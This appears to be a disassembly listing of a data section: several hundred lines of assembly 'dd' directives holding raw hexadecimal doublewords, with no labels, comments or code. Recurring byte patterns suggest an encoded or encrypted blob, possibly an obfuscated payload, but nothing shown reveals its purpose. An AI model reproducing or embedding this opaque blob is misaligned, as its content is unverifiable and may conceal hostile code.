		dd 5F303D57h, 0A4B13256h, 0D5B130DEh, 0E5D05256h, 75B127DFh
		dd 0BAA1DB56h, 0B9A33256h, 1ABBB4B2h, 0FB675ED5h, 7A10B994h
		dd 3C1ADD4Ch, 0EAB1325Ah, 6A40D229h, 57EE8747h,	30058E84h
		dd 0AEB125BFh, 0F342CB56h, 0ABB13DBFh, 68F5156h, 2E55C0EFh
		dd 0C3DC6024h, 10BCC761h, 0CD1F5DDh, 0A1EB6A00h, 57B130D2h
		dd 0CAE96556h, 2DE8CA0Dh, 0EABFDB08h, 4F243256h, 0EECDA8A9h
		dd 0DACE8650h, 0E29E3E61h, 57B7DB09h, 8B0F3256h, 1437B1Ah
		dd 0EAA0DA36h, 0DFF93256h, 298F112Fh, 33C77957h, 38E33748h
		dd 0D696C584h, 0DE6429Dh, 6ABE6829h, 8A78539Dh,	22148930h
		dd 0B5D0ECDDh, 5DB138D8h, 0AEB4DB56h, 89F83256h, 6909BBADh
		dd 0DD58325Eh, 0D7B13256h, 62BAE56Ch, 0EF22112Ah, 5DB0B759h
		dd 25483256h, 4F373DBAh, 42B13256h, 0D5B13245h,	6B774737h
		dd 6E0A804h, 471D15E7h,	0BE7B52Eh, 0CEE41CC1h, 543D3D36h
		dd 0A4B13256h, 3630C4E1h, 0D0614C87h, 75B1DA37h, 3BEB3256h
		dd 491D2CBCh, 0BF585250h, 0ACB13256h, 0C339D081h, 5CBE91B4h
		dd 0BD54E512h, 0AEA88AD8h, 6BBFE3D7h, 3DD06A1Ah, 0C8E1E4DDh
		dd 4578D2D7h, 0EE3A530Fh, 0DD353D5Eh, 0E5B13256h, 75B130DAh
		dd 33D05256h, 49CAC2D4h, 0BB323D50h, 58B13256h,	0ABB13DD2h
		dd 0D5BBDB56h, 440C3256h, 602D4F64h, 51D29F68h,	0D1BE53AFh
		dd 0AEB13242h, 57B13DBFh, 45A1B456h, 7EA90C50h,	0ECF1BEC6h
		dd 0A566FB7Eh, 0BB353D9Fh, 0A4B13256h, 56B13694h, 0BB3ACE03h
		dd 70305436h, 3CD0265Ch, 0EAB13246h, 582AAFC1h,	0ACCE8F5Ah
		dd 3A949341h, 0D327F57Fh, 0BE49F6D5h, 0ABB13247h, 0D1402530h
		dd 0A95DC632h, 0FD5937DAh, 0A50CDE18h, 4D58525Bh, 4EB13256h
		dd 0DE70555Bh, 52BF5660h, 0ED77E8EEh, 25B3BF9h,	75B13256h
		dd 465BB30Ch, 3DB726FAh, 0FDC6F1D7h, 8A3B3CA4h,	0ABB9DB37h
		dd 0C5763256h, 38185B2Fh, 7958F8B6h, 0CCB13256h, 4DA17A54h
		dd 781134DEh, 90876D6Eh, 0ABB1CA13h, 57BE3256h,	0EAB1325Eh
		dd 75B3B159h, 0DBD13256h, 5D4D7791h, 47B13256h,	57B13244h
		dd 0F2E7E252h, 0DB4E3C64h, 9FCEC0F4h, 0AABAADA2h, 7A82B867h
		dd 433A54AFh, 2FD76336h, 9B64FBEh, 0E8EEBDECh, 5776530Bh
		dd 0ECA54F9Bh, 75B13257h, 0BF59CE36h, 1EB13256h, 0A0108CD6h
		dd 36EF5336h, 3B4AB330h, 0D8343DC6h, 8AB13256h,	71373DA3h
		dd 0DCB13256h, 3C9FB8EDh, 0A159C9D6h, 57B5B3D2h, 20D75256h
		dd 2A62B386h, 8B8609B2h, 75BADB16h, 0ACB63256h,	0EA143D39h
		dd 0A1666CBDh, 0BE4AB24Bh, 0AFEDB659h, 0DF583256h, 0D4B13256h
		dd 0C5A424DBh, 0D29D57D3h, 505872C0h, 3BB13256h, 0BDB414C5h
		dd 9CB6AF3Dh, 0EFCBDAh,	0E55AC9D6h, 75B503D2h, 5C095256h
		dd 0E3906C83h, 0E49E6653h, 0DDBE7237h, 0ABB1324Fh, 0D5B126BFh
		dd 2B923856h, 2D71CEFBh, 3D5F61F2h, 0E41E1A6Ah,	7A7AB200h
		dd 0A756B2C7h, 0ABB13DBFh, 4DD78556h, 0D2F09523h, 2130C2B6h
		dd 19910923h, 5DA1DA36h, 0CAB23256h, 43F1B893h,	0A09A6D55h
		dd 38AE6F4Dh, 60E867C4h, 0F4D753AFh, 0B5313DADh, 5DB2FBD2h
		dd 0AEBEDB56h, 4B493256h, 0E0B14D01h, 0F4003751h, 3045587Bh
		dd 0F83331ACh, 4FB73C74h, 0E7495216h, 0D93B4094h, 0B54AB237h
		dd 0A825B659h, 0B3D13256h, 8B1AC9E9h, 7A52C9D6h, 0BAB26ED2h
		dd 5DB4DB56h, 0B3593256h, 31C5D973h, 48D6C9D7h,	0D6C1B659h
		dd 0E5D13256h, 75B130D5h, 0DBD05256h, 3D41D1D6h, 0AEB13FBFh
		dd 85BFDD56h, 7E961209h, 16F15D97h, 0E6584AA7h,	0DEB13256h
		dd 8836E617h, 1609F2CAh, 0CF0B9109h, 57BBB659h,	0AE583256h
		dd 41B13256h, 0EB1305EBh, 7AC1C9D6h, 0BAB21FD2h, 49313D56h
		dd 47B13256h, 57B13259h, 3D9BEEB5h, 0C3A09C4Ch,	0F52830D7h
		dd 8DB0C85Fh, 53AFB930h, 5DB1325Ch, 0DF5A225Fh,	0CD35F790h
		dd 4831B605h, 0D5BBDBAEh, 0E4B23256h, 0A62A49C8h, 0ACA28192h
		dd 5209C9D6h, 0AEB075D2h, 58585256h, 0CDB13256h, 0A5493CE3h
		dd 0D5FC0B11h, 9E215217h, 643082A7h, 5E8A25F2h,	0AB8FB237h
		dd 5693B659h, 42D13256h, 0D5B13258h, 963DFEF5h,	52284890h
		dd 9445712h, 88316524h,	903153E7h, 56353D7Bh, 53B13257h
		dd 0DAD90CD6h, 0EAB1C5D2h, 0FED75256h, 0DBDA87ADh, 0AD1C716h
		dd 0FEEBC3DDh, 0DE5DE5D7h, 0CAE90009h, 0A87CB0A9h, 8C4D3442h
		dd 0F4D12CDDh, 0FCC1BFA1h, 870E3D5Bh, 5656B237h, 0AC3054AEh
		dd 2FBEDAD7h, 0D5B132EAh, 0EAB13BBFh, 9D7D8D56h, 15AA5F5Fh
		dd 0D6D73A04h, 0A3585248h, 62B13256h, 0E7ABD88h, 862613EDh
		dd 0EB7942E5h, 8556B237h, 413054AEh, 0D9BEF2D7h, 0AEB132DEh
		dd 57BBDA36h, 0F633256h, 0FC804E1Bh, 49B24AEFh,	7AEF6C01h
		dd 0DAD0C1E1h, 9E3B5236h, 0FBFCB3E9h, 9E30531Fh, 8FCBB8CEh
		dd 2A486737h, 0FECD61C4h, 75B9DB50h, 1AC43256h,	0E630F3F9h
		dd 0CEECE3DBh, 57B121BFh, 9545DC56h, 50BF4A28h,	20C37E65h
		dd 0C9D82078h, 0CE5EEC43h, 5240B936h, 0CFD0F3E9h, 0BE4D77DFh
		dd 0ABB1325Bh, 1A24AEABh, 54FE2867h, 89566920h,	39495394h
		dd 52B0CE2Bh, 0AEB7B9D3h, 0AED1CE56h, 0CA4AB930h, 0C38488DDh
		dd 8CD13458h, 42BC0D7h,	0CD16237h, 5DB4DBCFh, 7AB43256h
		dd 3600E4EDh, 0CA085436h, 573A53DAh, 0ECA54F9Bh, 7AC68236h
		dd 0BAB131DDh, 823A5456h, 9E8D0B37h, 0D5BE6AA3h, 0ABB13412h
		dd 0CF0F5436h, 0B5E76049h, 0CF3A530Eh, 0BCBF039Fh, 0D2BE62AEh
		dd 0AEB13251h, 57B0BC59h, 20443256h, 0C1CCFFD4h, 0EABBDB50h
		dd 0BF2B3256h, 61264B10h, 9D462751h, 57810E6Fh,	523E3D0Eh
		dd 52B13250h, 0AE5788DDh, 13D13442h, 147FB930h,	0C157B0D5h
		dd 3DA53442h, 34B27CEFh, 0D9BE536Ch, 0ABB1325Eh, 0D5B3BD59h
		dd 8BD13256h, 154805DFh, 5227DED6h, 5DB1325Dh, 1322A812h
		dd 426268BAh, 0A4F9B99Dh, 0D5B132D9h, 63D06D56h, 0FFD12211h
		dd 0B54D5294h, 3CD0C0E9h, 2ABE5206h, 57B13254h,	9A03C2DDh
		dd 950E5237h, 2F49220h,	75B13242h, 3B8CEAA0h, 0A2B7D349h
		dd 0A3808AA0h, 22E130F8h, 5D7F57B9h, 0DAE38C30h, 683A530Fh
		dd 73A54F9Bh, 8AADB9AAh, 5DBDBB59h, 0A9583256h,	70B13256h
		dd 0B4698A41h, 0DAE974E8h, 0EAB13AD5h, 773F3D56h, 0DAB13256h
		dd 3DE15237h, 27D06837h, 31D13A09h, 3A29D2D7h, 0D5ABB659h
		dd 0FE593256h, 54B13256h, 0F0321885h, 0F61E1851h, 0DA398C5Fh
		dd 3944DCC7h, 0F2DC7775h, 0D0AFDB37h, 6FBE3256h, 75B13257h
		dd 42F4F5AEh, 5DB13254h, 0AEB139BFh, 17674A56h,	7AD49AB6h
		dd 0AD881A00h, 0EAB127BFh, 723C3D56h, 0DAB13256h, 3D42B930h
		dd 0EB765337h, 57B133AEh, 113ACA56h, 0D3A549B0h, 0EAB13DBFh
		dd 909AD356h, 3C591135h, 219C7960h, 4EB46647h, 0DCD76036h
		dd 0A5586AA1h, 0EFB13256h, 7FCCE7ADh, 90737C30h, 1DD2BB02h
		dd 0DF325339h, 0A8A549B0h, 31E15242h, 0F1398DEFh, 0B475D2D6h
		dd 634805DFh, 0F6442211h, 3FBE31AEh, 5DB13267h,	0AEB6B859h
		dd 0DABE3256h, 0ABB13257h, 1833F5AFh, 0E8B7262Bh, 80B13256h
		dd 0BAB11FBFh, 5DBEDB56h
		dd 1AE23256h, 7BA0B6BCh, 67D722h, 78981F70h, 0E849B1C2h
		dd 7728BF59h, 3BD13256h, 0BC14529Dh, 0CF5FB860h, 0E57E8136h
		dd 0D63253A9h, 51BE32AEh, 0EAB13354h, 75B13CBFh, 0A87D3B56h
		dd 33B91F9h, 0A0559E76h, 588DBD2Fh, 0CBB074E0h,	0D5B138BFh
		dd 0B1ED4656h, 0AF269033h, 571EEDh, 7F4E3567h, 0B9303D37h
		dd 0BEB13256h, 0ABB13244h, 4EBB1579h, 0D3680FB6h, 3DD814C9h
		dd 7D44ED7h, 0DD185AC8h, 0A1B13256h, 57B17FD3h,	0A058CA56h
		dd 16B13256h, 0F9796039h, 9A9E7783h, 0B5F14BA9h, 5DB133D4h
		dd 4632CB56h, 90F5253h,	2ABEC27Bh, 0F80B919Eh, 63BE5349h
		dd 75B13251h, 0BAB0B759h, 0B4443256h, 0AEB13218h, 57B13FBFh
		dd 0F4C88C56h, 27CB9BD7h, 7E78A571h, 8A9C5A82h,	53B13256h
		dd 5DB1325Ch, 50E08DA9h, 9757D329h, 433296F4h, 0CA3E3D53h
		dd 0E5B13256h, 75B12BD1h, 0BAA5DB56h, 0B5993256h, 4E408903h
		dd 0DA38B65h, 112D1EAFh, 0D878FC18h, 82587260h,	15B13256h
		dd 0BAB126BEh, 0C8E3B856h, 179FE173h, 70526151h, 64237D68h
		dd 0FFD71BA2h, 243A54CEh, 7AE2530Ch, 0BAB13ED1h, 0DBBE5256h
		dd 0AEB13256h, 51098930h, 662BB937h, 3CB7262Bh,	0EAB13247h
		dd 2E559504h, 1B0A173Bh, 6AC89437h, 104F1CE8h, 64B5B941h
		dd 0ABB135BFh, 12A3C656h, 1BB25AFh, 0CFD1CE0Dh,	0DB54ABFFh
		dd 0F4D0C2DDh, 2EB13256h, 5735B759h, 52D13256h,	0D6D0ADE4h
		dd 2A32C790h, 0B4305253h, 8915956Ah, 90333137h,	47B7262Bh
		dd 57B13244h, 9A2B8061h, 0A2594829h, 82A7241Ah,	2BDCB886h
		dd 0B5F9F737h, 5DB133D6h, 0E938CE56h, 57BFDB5Eh, 78113256h
		dd 17D3646Dh, 54668567h, 47AAB818h, 0BAB13BBFh,	44998456h
		dd 2058F7Dh, 1038EB4Eh,	0A7343D5Ah, 3CB13256h, 0EAB13251h
		dd 0A0E945C2h, 53A5A46Ah, 5DB13026h, 0AEB13BBFh, 6455CD56h
		dd 0BDA557ABh, 0D46E958h, 0EAB0BF59h, 5E483256h, 0BB303D90h
		dd 0A1B13256h, 2ABEEAA1h, 57B13240h, 0ABB9DA36h, 0D0A13256h
		dd 20F5B02h, 0F4EABCCDh, 44819285h, 9D325366h, 2CB2C753h
		dd 51A54F9Bh, 0ABB13CBFh, 80A90A56h, 0B151FB7Dh, 4B0CB6Fh
		dd 0DA42FBCAh, 56587A37h, 0E1B13256h, 60CC4FCh,	41BDCBAh
		dd 9238497Dh, 8CD1525Eh, 260172E9h, 0AB585308h,	0ABB13256h
		dd 0CF2E819h, 694A87C3h, 0B7E6616Dh, 8F45D892h,	0E6F6BB37h
		dd 7467DBAEh, 38BE3256h, 5DB13245h, 0AEB13CBFh,	2BA7F056h
		dd 0AE93E266h, 98A3F8F8h, 0D9813EFCh, 6F3B3D96h, 0DAB13256h
		dd 5DB121BFh, 44A3DB56h, 0F6F29DE4h, 0BF4A290Fh, 7540490Ah
		dd 89C0CC5Dh, 74F7B837h, 0BAA2DBA3h, 0CCA83256h, 2D783ECFh
		dd 0BD9A12E5h, 0FFD9F87h, 0A0987781h, 0E5319AA8h, 75B1F7D3h
		dd 7CB2C756h, 5F71B1AAh, 0AEBBDB36h, 1ABA3256h,	0CB67EA5Fh
		dd 3F10E89h, 8B76B930h,	75B133EDh, 0BAB4DB56h, 95AB3256h
		dd 0A5A2A07Dh, 60353D8Dh, 42B13256h, 0D5B13258h, 82762913h
		dd 0D592A93Dh, 85D8955Bh, 0C73B949Bh, 0A8A28D05h, 57B13DBFh
		dd 0CD882C56h, 88D7906Ch, 7586A2AAh, 0B1CEC902h, 0B5B0D1D6h
		dd 5DB133D2h, 6DB2CB56h, 8F3A5436h, 0AA42B330h,	92385322h
		dd 0E759525Eh, 0E6B13256h, 0E2B75EDh, 1A7A3345h, 0C7A8743Ch
		dd 57B1B459h, 42E83256h, 0D5B13259h, 0DA3A4195h, 58C67D9Fh
		dd 0D6FCA6A6h, 3CA11CAEh, 0CEBD75DFh, 57B7B859h, 4D303256h
		dd 981EE879h, 8B76DED6h, 75B185BFh, 0DBE5256h, 854653A9h
		dd 0AEB7DBAFh, 7FC83256h, 0E2131D94h, 0D5B1CD73h, 0E23A3D56h
		dd 7AB13256h, 0BAB130DDh, 76D05256h, 7646CE90h,	57A5B559h
		dd 0A4583256h, 2AB13256h, 4DBDFDECh, 0C1ACC318h, 71617D9Ah
		dd 9D32E2D2h, 23BE5254h, 57B13243h, 0ABB122BFh,	0AD10F256h
		dd 1146B48Dh, 0F8CBA0A6h, 0B8EA014Ch, 5DA1DBADh, 9E6C3256h
		dd 89851AFDh, 0ED7712AEh, 0E9F1103Bh, 3D0A585h,	75B13244h
		dd 42C86316h, 5526D2E3h, 0F2D312A2h, 4B2169DFh,	0EC388BD9h
		dd 0D858CE5Eh, 73B13256h, 285563F3h, 0C686C534h, 55807F95h
		dd 0A1BD75DFh, 57B135DEh, 0AA323D56h, 20B13256h, 0EB3C3DAEh
		dd 89B13256h, 31D75237h, 8F0E3D99h, 6D44FB37h, 3668B936h
		dd 0ABA5B759h, 0DA583256h, 0B5B13256h, 0FE23613Eh, 5F60A007h
		dd 0FF359F7h, 56E4E54Bh, 0E4D1DEDDh, 28D0CA48h,	0B544CE92h
		dd 0EC393D36h, 7AB13256h, 0BAB132D0h, 0D6BE5256h, 0AEB13256h
		dd 57B123BEh, 82A48B56h, 0F9BAA33h, 8605CF06h, 0F4360B67h
		dd 0DBE91B57h, 5DB1DA37h, 2FEB3256h, 4306B4BCh,	0ABBCDB50h
		dd 705C3256h, 2AA6CD3Bh, 5A9E37FBh, 53BC5AFFh, 5DB1325Ah
		dd 16891B88h, 89A2E9C5h, 466DEECBh, 0AE0188DDh,	0E7583442h
		dd 0E6B13256h, 6BBF5EADh, 847E7F1Fh, 0BAF2066Dh, 5849FB65h
		dd 0ABB13ED2h, 0D33E3D56h, 0E5B13256h, 75B132D8h, 0BA8EB156h
		dd 58A3B659h, 0FFD13256h, 0A03A5409h, 0CBB6B937h, 0D5B123BFh
		dd 31CCD956h, 52586F83h, 957BAF82h, 0BC313ECCh,	0FFD14F77h
		dd 9130540Eh, 0CAD0E74Eh, 0B5BD47A9h, 8A67B930h, 75B126BFh
		dd 624C156h, 7E245AD7h,	0AFE54F6Ch, 0D4677FD0h,	2C346800h
		dd 0C265B28Bh, 51D15337h, 1046DB4Dh, 0BABCB959h, 5A593256h
		dd 45B13256h, 8FF9680Dh, 0CAE98899h, 3CB947A9h,	0EAB13250h
		dd 0AF0E90EBh, 53E1F605h, 5DB13245h, 460A1447h,	6CB7CB8h
		dd 0AE17B705h, 3D82E3Ch, 23926D1h, 75B13A87h, 7A0E3D36h
		dd 3C638D59h, 2BBEF25Dh, 57B13235h, 0ABBADA36h,	58FA3256h
		dd 535CD6B7h, 33F22CD2h, 0BA363D56h, 4B13256h, 0AEB121BFh
		dd 0E3ACC356h, 60617D9Ah, 0FD67E2D2h, 0DEC01BEFh, 0B1A839A7h
		dd 0DAB6B937h, 9488C3D7h, 11BE11CBh, 0D0BE53A1h, 0ABB1324Fh
		dd 0D5A2BE59h, 0E4583256h, 4BB13256h, 5F63FE1Fh, 14A18532h
		dd 0A0546EC8h, 579CDBFEh, 28443256h, 0C1582691h, 0C1B13256h
		dd 7751A80Dh, 0E22D18D4h, 24CA9696h, 3F6BC724h,	0BE60B702h
		dd 544ECC9Bh, 7060B336h, 8CE45EE6h, 0FCD0E1DDh,	4549CE13h
		dd 0D7BE3E23h, 0AEB13257h, 5FC4CDAAh, 0ABB139BFh, 0D6957B56h
		dd 497CD8F9h, 76E987B6h, 0B54405A9h, 5DB133DCh,	0AC59C756h
		dd 0ABB1325Eh, 2FBEF25Dh, 0D5B13276h, 0E93E3D36h, 7AB13256h
		dd 31D7CAE1h, 0CC585391h, 0A1B13255h, 57B135D7h, 0AA3F3D56h
		dd 2CB13256h, 34D77DDh,	75B13246h, 0CD0011ECh, 915E9439h
		dd 928605EEh, 0C4ED9E2Eh, 0ABBADB36h, 2BD53256h, 58A6E342h
		dd 0A523E46Ch, 7C305402h, 64D05AECh, 0E3333D51h, 58B13255h
		dd 0ABB133D2h, 904ECA56h, 0EF3B3DAAh, 15B13256h, 0DBCFC2D6h
		dd 5DB54DD5h, 0AE8BB659h, 0D4BE3256h, 0ABB13240h, 0D5B123BFh
		dd 0A39FD156h, 0ED9A2C0Ah, 9E0A2016h, 0CA8C0CF3h, 0D1327229h
		dd 0D3BE325Ah, 0ABB13242h, 0D5B0B959h, 1F443256h, 75B156BFh
		dd 0BB3C3D56h, 0A1B13256h, 514ECDEEh, 57BBDBA9h, 0BE393256h
		dd 0FEDEC064h, 7E354DEDh, 75B137EFh, 0AA353D56h, 0B4B13256h
		dd 0AEB1325Dh, 5F6C31E4h, 80B12DCCh, 20ECC4DCh,	0ED5899A5h
		dd 0CAB13256h, 0B408057Ch, 4958E662h, 8BB13256h, 2C3C27F3h
		dd 2F66EFB6h, 855B7AFAh, 0FEE3117Bh, 9CBB05C3h,	454ECCE9h
		dd 4DCEB1AFh, 9A353D53h, 0ABB13256h, 0ADA14DD5h, 0D52CB759h
		dd 0AB483256h, 0BD063D36h, 31D0CEE4h, 0D6493611h, 0A0583E09h
		dd 0CB13256h, 0B56E00A6h, 0E116D012h, 817579C9h, 77BDDBB1h
		dd 314D3256h, 52493611h
		dd 0AEB114D9h, 47585256h, 0C6B13256h, 6AE5F1E3h, 47E9EDCAh
		dd 6DADD91Bh, 5342907Fh, 5DB1325Ch, 98887C29h, 9A562082h
		dd 20D07308h, 0C4583E09h, 51B13256h, 589FCDB8h,	74D20837h
		dd 6C862012h, 6988C3C4h, 57B088BFh, 0ABB8DB56h,	7FF83256h
		dd 6DC740B6h, 1555E422h, 0BABBDA36h, 4EF53256h,	2CF6C1C7h
		dd 4C029E2Bh, 0A540Fh, 5ED053CBh, 0F9583611h, 2B13256h
		dd 0E1A1EB34h, 678BBC5Fh, 6F134558h, 353F9368h,	0F43A521Ch
		dd 2E3A525Ah, 3C063D07h, 2A8A530Fh, 0D343D5Eh, 0A4B13256h
		dd 0AEBDDB04h, 34C33256h, 0C22AAB50h, 7FB1AABDh, 0BD3A99B7h
		dd 75BADB52h, 1BB23256h, 0D13DCECFh, 941D1CEAh,	47E419D6h
		dd 0BFE431AFh, 0D5A2DB36h, 0F2E23256h, 5F3D40F0h, 67D86730h
		dd 0B507C6B0h, 0AD7F9A15h, 0BED0CB8Fh, 0ABB1325Fh, 0EDF18CC7h
		dd 8C31694Fh, 79EEB955h, 0BB3A3DAFh, 0A5B13256h, 0AB58E87Dh
		dd 7FB13256h, 4E207FF5h, 3CB4D9D5h, 0EAB1325Ah,	340CD422h
		dd 0ADBF28A0h, 89AB269Fh, 7D3A520Ch, 57313D36h,	2BB13256h
		dd 0B4D0D8B8h, 0EAB120BFh, 5E9EB356h, 5CB1B6ADh, 0C78617A7h
		dd 0E8D51C12h, 0BEDF9AB5h, 0ABB132C5h, 12305436h, 203136E9h
		dd 323A5340h, 0BAB6DB52h, 66F63256h, 8287F3BCh,	4D3C3D85h
		dd 0A4B13256h, 0D5B126D3h, 0EABEDB56h, 0A6893256h, 27E25BA5h
		dd 32481DE9h, 26335A7Eh, 5BEEB9DEh, 0ABB13BBFh,	5AC83C56h
		dd 0BFB5226Ah, 2A9A7DA9h, 37BE5252h, 5DB1324Eh,	0AEB121BFh
		dd 20836A56h, 8A482BE0h, 5FE103B3h, 54823DBBh, 0A513C624h
		dd 0E45D8D30h, 585AB137h, 21BEC736h, 57B13254h,	0A8D0C1DDh
		dd 0DBAE3BDCh, 0EAB8DB50h, 0A8EA3256h, 0DF06AD46h, 0DEEE7010h
		dd 0A1B22229h, 57B128D3h, 0B9383D56h, 3CB13256h, 0EAB1325Bh
		dd 0E57B8EDh, 806B8655h, 930243F8h, 85497342h, 0B38CB8Fh
		dd 13443357h, 2A4ECDA9h, 0EAB48BAAh, 8DD13256h,	0BAB13ABEh
		dd 58BDA756h, 15588B3Eh, 0A4D06C03h, 0ABA1DBFDh, 0C9223256h
		dd 2753C876h, 49C0937Dh, 2A9B1CC4h, 65581D23h, 474ECDAAh
		dd 57B1325Ah, 0A37DF9Dh, 0C65C7410h, 0A41EF53Eh, 65323D37h
		dd 53B13256h, 5DB1325Dh, 9F387096h, 11C4D35Ah, 6288F584h
		dd 0D5B121BFh, 0F63C2E56h, 0CB1DA08Ch, 533BB663h, 8294FB40h
		dd 2EAA823Dh, 37B12294h, 21BEF7E0h, 0D5B13252h,	3BE68930h
		dd 78586737h, 79B13256h, 92C1C2DFh, 0F52462B4h,	0D859908Ah
		dd 0ABA0B059h, 3CD13256h, 0EAB13251h, 1E60B2CAh, 0DC527E04h
		dd 0D6D0C5DDh, 0AEA5DBBAh, 226E3256h, 70A16B02h, 0DB73F3A8h
		dd 0FF802299h, 282208A7h, 7E324551h, 503F3DAAh,	47B13256h
		dd 57B1325Eh, 46C2FF6Ch, 43BA2AC8h, 2D15236h, 75B1325Ch
		dd 0DEF57A60h, 3B078862h, 0CFEB68BFh, 9B0A5436h, 0AA63B386h
		dd 0B4E9F106h, 0EAB1DA37h, 0F4EB3256h, 0AE0C88BCh, 5DA0DB50h
		dd 13793256h, 0DE4C1D15h, 0CCA2E02Ch, 45316721h, 165AF69Dh
		dd 840E3D36h, 3A53AEh, 5BA549E6h, 0AEB135BFh, 0F7CF8456h
		dd 7DDFCC08h, 0D258FB65h, 9EB13256h, 0D1C00BF5h, 853241CCh
		dd 7C353D56h, 47B13255h, 57B13242h, 147EB193h, 0B54894B7h
		dd 0F4E76DCEh, 0FFA3FBEBh, 0CF4EA981h, 0A24935DDh, 51483E23h
		dd 31D13A23h, 50A7E2D7h, 29E153AAh, 0EAB226BEh,	75A0DB56h
		dd 0AAE93256h, 0A3B4C056h, 4864089Dh, 4365D22Ah, 0CBA75DB1h
		dd 0D5B13FBFh, 300C3B56h, 908E239Fh, 0CEB28959h, 56D0B374h
		dd 87343D96h, 0A2B13256h, 44085436h, 0EC47B3C6h, 8BF95537h
		dd 9C4835DDh, 0BAB13212h, 5DB13DBFh, 757C2056h,	0FAC44CD3h
		dd 0F34E3AFEh, 8805A1Bh, 0E5A5F5D5h, 75B13DDCh,	0BABBDB56h
		dd 2C93256h, 0A9B53820h, 0E6E6FCE2h, 544E7FBFh,	0D5BFDBA9h
		dd 3BB33256h, 0B7CB5A3h, 5DAA175Bh, 0D7523A6Ah,	524D77DFh
		dd 0AFBD47A9h, 0CBB947A9h, 0D5B0BC59h, 3493256h, 75B1325Ah
		dd 9EFF022Ch, 0BE55DDD8h, 0B0DB7DD0h, 0AE86CD37h, 0A9EADAA3h
		dd 3CD13256h, 0EAB13251h, 0BAB84880h, 3B0DC33h,	7E17E031h
		dd 0BF585237h, 80B13256h, 475D5D2Bh, 7ACCA5ADh,	6A536D92h
		dd 0E10CF9B1h, 0B5713937h, 5DB11AD2h, 0AF393D56h, 0AEB13256h
		dd 0ABB0C5BFh, 0C33B3D56h, 3B13256h, 75B13247h,	0D8F906D4h
		dd 43C789E2h, 2AB7960Bh, 0AE11BD7Bh, 57F4B9DCh,	0DAB60BA3h
		dd 0EAB0FDD4h, 75A2DB56h, 784C3256h, 36B16DA4h,	9E5EE865h
		dd 4F86B17Bh, 0A8A4C92Ch, 29F4CD78h, 0EECEB1AAh, 54353D56h
		dd 0DAB13256h, 3B40B930h, 2DD0E4DDh, 58B13E29h,	0ABB13DD2h
		dd 9B58C756h, 8AB13256h, 2AD05200h, 0DB32FDD6h,	0A24ECDEEh
		dd 0AB08C7A9h, 58B13256h, 0ABB122DFh, 8CE35256h, 0EAB134BEh
		dd 3F790156h, 0E3665208h, 0A51AC137h, 514FCDBFh, 5F3B3DA9h
		dd 0A4B13256h, 0D5B130DBh, 0E5D05256h, 75B13AD6h, 0B8333D56h
		dd 3DB13256h, 0BECEB137h, 0D0353D53h, 52B13256h, 0D3A14DD5h
		dd 0EA2AB759h, 0FBBE3256h, 0BAB13251h, 5DB0B259h, 0A1483256h
		dd 57B121DCh, 0ABBFDB56h, 9FA33256h, 0F6F9CC66h, 6ABB2191h
		dd 57BC04A6h, 0B4E35217h, 0AEB1325Bh, 0CCB777E4h, 0F97184AAh
		dd 64FB0F55h, 3D3A6B2Eh, 71F6B937h, 0BAB13FBFh,	2BF00F56h
		dd 1AE8B202h, 55E6FBFEh, 0F43A4A49h, 0D5A5DB5Ah, 0A7E93256h
		dd 0CB6C033Eh, 0B1CD8D22h, 0E59D276Ch, 2CD822C1h, 0D7589E69h
		dd 0A4B13256h, 0D5B133D2h, 0AD3ACB56h, 2A3ACB52h, 0D358CB5Ah
		dd 0B4B13256h, 0AEB1325Bh, 841234CBh, 9C7E595Ah, 7B81592h
		dd 0EEF6B9D6h, 75B6BC59h, 32BE3256h, 5DB13257h,	0A2EEB9AEh
		dd 89ACAAEh, 4032CA52h,	0C6595253h, 2DB13256h, 4CFF4DF3h
		dd 5DA3E660h, 4CF06C9Bh, 30BE30B1h, 0D3BE8E5Ch,	0ABB13256h
		dd 0B674B208h, 0FACEB137h, 78343D55h, 53B13256h, 5DB13250h
		dd 41447B7Fh, 0AEF0CDB3h, 2244EB7Dh, 0B5B0330Ah, 8C678559h
		dd 145C0BEDh, 454ECDEEh, 5A3B3DA9h, 0A1B13256h,	57B133D8h
		dd 0AE08CB56h, 20B13256h, 1F4999A5h, 8A4C99BFh,	0EBD152A9h
		dd 0A63A540Dh, 0CFE58037h, 57BADB37h, 29DC3256h, 0ECF7B84Dh
		dd 0AFB7A5A8h, 0B749FB44h, 53D1325Eh, 5DB1325Eh, 0D7B0BBCh
		dd 51370A61h, 20496737h, 66E152BAh, 61D76DD0h, 0B13253A7h
		dd 0BAA1DBAAh, 0D7C53256h, 0BDBA712Fh, 90575C58h, 8AC33F1Bh
		dd 0B5D1E87Eh, 0EAB126BFh, 0A0830456h, 496DE8F8h, 33A25976h
		dd 0EB1C32C7h, 0E78639E1h, 0AE303DA1h, 0B3B13256h, 3A63DAD7h
		dd 62323D37h, 53B13256h, 5DB13244h, 67FC79C0h, 1A9FEDD4h
		dd 866B6BB8h, 51E0F743h, 0AF3AD5A0h, 308AC75Eh,	0DB333D5Ah
		dd 3DB13256h, 0D316F2D7h, 0E8D70E21h, 90D00717h, 52BE2213h
		dd 0EAB1321Ah, 75AEB959h, 39BE3256h, 5DB1324Fh,	0AEB126BFh
		dd 39452C56h, 3AB7197Ah, 0BBB366BEh, 0D1D20F64h, 0EA484D90h
		dd 46F4F5B0h, 5DB13256h, 0AEB7DA36h, 0DD7D3256h, 0A2CDB717h
		dd 60B6CA3h, 8BDB5F6Bh,	75B10CBFh, 0BB383D56h, 0A5B13256h
		dd 0AF4D7791h, 37B13256h, 420AD1D6h, 0D5B1325Ah, 0E875465Bh
		dd 20796628h, 0B771054Dh, 55383D37h, 0A1B13256h, 57B130D0h
		dd 42D05256h, 0D5B13251h, 0EAB0BC59h, 14493256h, 413A6336h
		dd 0B530540Dh, 25D02002h, 0D9BECE13h, 0ABB13257h, 0B3D1FBAEh
		dd 0D0F9ECD7h, 88EDF3D7h, 78D00EBDh, 4F58325Ah,	8AB13256h
		dd 44FF8BA1h, 0B889A895h, 2BA80753h, 6B292021h,	0F6BE677Ah
		dd 0BAB1325Dh, 5DB134BFh
		dd 0BF66F256h, 0DCE2F26Bh, 0ABB8DBBAh, 0EC463256h, 0EA43EFCBh
		dd 0F65BF752h, 34BECE92h, 5DB13240h, 0AEA1B259h, 5C583256h
		dd 9DB13256h, 898E409Dh, 1C0CFFE2h, 80D17EB8h, 0BAB134BFh
		dd 0F873BC56h, 46826E1Ah, 57B13256h, 475BB30Ch,	0B5B72694h
		dd 2788559h, 75B13245h,	74041415h, 7DC67ED0h, 0ED69FE59h
